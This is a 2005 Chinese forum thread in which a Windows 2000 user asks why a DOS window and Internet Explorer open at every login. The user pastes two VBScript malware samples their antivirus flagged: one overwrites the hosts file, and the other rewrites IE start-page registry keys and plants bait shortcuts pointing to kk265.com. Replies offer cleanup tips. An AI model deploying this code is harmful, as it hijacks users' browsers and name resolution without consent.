雏鹰部落

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 2866|回复: 5

[讨论/求助] [求助]系统

[复制链接]
发表于 2005-4-20 18:13:32 | 显示全部楼层 |阅读模式
在WIN2000 PRO无论什么用户启动,一进入系统就启动DOS,后IE也自动启动,且为指定网站。是什么原因?
 楼主| 发表于 2005-4-26 22:23:57 | 显示全部楼层
<P>脚本病毒名: VBS.Hosts.b<BR>======================<BR>脚本内容: </P><P>on error resume next </P><P>set fso=CreateObject("Scripting.FileSystemObject") </P><P>function EagleGetHosts() <BR>EagleFolder1=fso.GetSpecialFolder(0) <BR>EagleFolder2=fso.GetSpecialFolder(1) <BR>if instr(lcase(EagleFolder2),"system32")&gt;1 then <BR>EagleGetHosts=EagleFolder1&amp;"&#92;system32&#92;drivers&#92;etc&#92;hosts" <BR>else <BR>EagleGetHosts=EagleFolder1&amp;"&#92;hosts" <BR>end if <BR>end function</P><P>function EagleRunHosts(ip,domain) <BR>EagleContent="127.0.0.1   localhost"&amp;chr(13)&amp;chr(10) </P><P>For i=1 to 910<BR>if instr(domain,";")&gt;1 then<BR>eagledomain=mid(domain,1,instr(domain,";")-1)<BR>domain=mid(domain,instr(domain,";")+1)<BR>end if<BR>EagleContent=EagleContent+ip&amp;"&nbsp;&nbsp;&nbsp;&nbsp; "&amp;eagledomain&amp;chr(13)&amp;chr(10) <BR>Next</P><P>EagleFile=EagleGetHosts()<BR>Set f = fso.CreateTextFile(EagleFile, True) <BR>f.Write(EagleContent) <BR>f.close<BR>end function</P><P><BR>脚本病毒名: VBS.StartPage.ag<BR>======================<BR>脚本内容: </P><P>Public sucess<BR>sucess = 0</P><P>Function SetREG()<BR>&nbsp;On Error Resume Next<BR>&nbsp;bugs.RegWrite "HKCU&#92;Software&#92;Microsoft&#92;Internet Explorer&#92;Main&#92;Start Page", "<A href="http://www.kk265.com/">http://www.kk265.com/</A>"<BR>&nbsp;bugs.RegWrite "HKCU&#92;Software&#92;Microsoft&#92;Internet Explorer&#92;Main&#92;Start Page", "<A href="http://www.kk265.com/">http://www.kk265.com/</A>"<BR>&nbsp;bugs.RegWrite "HKCU&#92;Software&#92;Microsoft&#92;Internet Explorer&#92;Main&#92;Search Page", "<A href="http://www.kk265.com/">http://www.kk265.com/</A>"<BR>&nbsp;bugs.RegWrite "HKCU&#92;Software&#92;Microsoft&#92;Internet Explorer&#92;Main&#92;default_page_url", "<A href="http://www.kk265.com/">http://www.kk265.com/</A>"<BR>&nbsp;bugs.RegWrite "HKCU&#92;Software&#92;Microsoft&#92;Internet Explorer&#92;TypedURLs&#92;url1","<A href="http://www.kk265.com/">http://www.kk265.com/</A>"<BR>&nbsp;bugs.RegWrite "HKCU&#92;Software&#92;Microsoft&#92;Internet Explorer&#92;TypedURLs&#92;url2","<A href="http://www.kk265.com/">http://www.kk265.com/</A>"<BR>&nbsp;bugs.RegWrite "HKCU&#92;Software&#92;Microsoft&#92;Internet Explorer&#92;TypedURLs&#92;url3","<A href="http://www.kk265.com/">http://www.kk265.com/</A>"<BR>&nbsp;bugs.RegWrite "HKCU&#92;Software&#92;Microsoft&#92;Internet Explorer&#92;Main&#92;First Home Page","<A href="http://www.kk265.com/">http://www.kk265.com/</A>"<BR>&nbsp;If err.number&lt;&gt;0 Then<BR>&nbsp;&nbsp;setreg = false<BR>&nbsp;Else<BR>&nbsp;&nbsp;setreg = true<BR>&nbsp;End If<BR>End Function</P><P>Function AddFav(N, U)<BR>&nbsp;On Error Resume Next<BR>&nbsp;Set S = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/" + N +".URL")<BR>&nbsp;S.TargetPath = U&nbsp;<BR>&nbsp;S.Save()<BR>&nbsp;Set Sl = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/链接/" + N +".URL")<BR>&nbsp;Sl.TargetPath = U<BR>&nbsp;Sl.Save()<BR>&nbsp;If err.number&lt;&gt;0 Then<BR>&nbsp;&nbsp;AddFav = false<BR>&nbsp;Else<BR>&nbsp;&nbsp;AddFav = true<BR>&nbsp;End If<BR>End Function</P><P>Function AddDesktop(N, U)<BR>&nbsp;on error resume next<BR>&nbsp;Set S = wsh.CreateShortcut(wsh.SpecialFolders("AllUsersDesktop") + "/" + N +".URL")<BR>&nbsp;S.TargetPath = U&nbsp;<BR>&nbsp;S.Save()<BR>&nbsp;If err.number&lt;&gt;0 Then<BR>&nbsp;&nbsp;AddDesktop = false<BR>&nbsp;Else<BR>&nbsp;&nbsp;AddDesktop = true<BR>&nbsp;End If<BR>End Function</P><P>Sub FF()<BR>&nbsp;If AddFav("美女图片","<A href=&#39;http://www.kk265.com")=true&#39;>http://www.kk265.com")=true</A> And AddFav("裸体美女图库","<A href=&#39;http://www.kk265.com")=true&#39;>http://www.kk265.com")=true</A> And AddDesktop("美女、铃声下载","<A href="http://www.kk265.com">http://www.kk265.com</A>") = True And setreg()=true Then<BR>&nbsp;&nbsp;sucess=0<BR>&nbsp;&nbsp;window.close()<BR>&nbsp;End If<BR>End Sub</P><P>&nbsp;</P>
 楼主| 发表于 2005-4-26 22:30:22 | 显示全部楼层
<P>我用金山毒霸查了。查了结果如上。<BR>我把病毒原都删了,REGEDIT.EXE里面项我都改了。但WIN2000系统一启动,进入系统就先自动启动DOS,后便自动打开腾讯、IE,并且主页为特定网站。<BR>请各位兄长们帮忙一下!!</P>
发表于 2005-4-20 23:20:07 | 显示全部楼层
<P>看看程序-&gt;启动,里有没有东东,有就删了,再用优化清空所有的上网痕迹看看</P>
发表于 2005-4-22 17:51:45 | 显示全部楼层
<P>难道是中毒??呵呵~~估计不是什么大问题吧</P>
 楼主| 发表于 2005-4-22 20:13:57 | 显示全部楼层
???
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|熊猫同学技术论坛|小黑屋| 网络工程师论坛 ( 沪ICP备09076391 )

GMT+8, 2024-12-22 18:39 , Processed in 0.082844 second(s), 18 queries , Gzip On.

快速回复 返回顶部 返回列表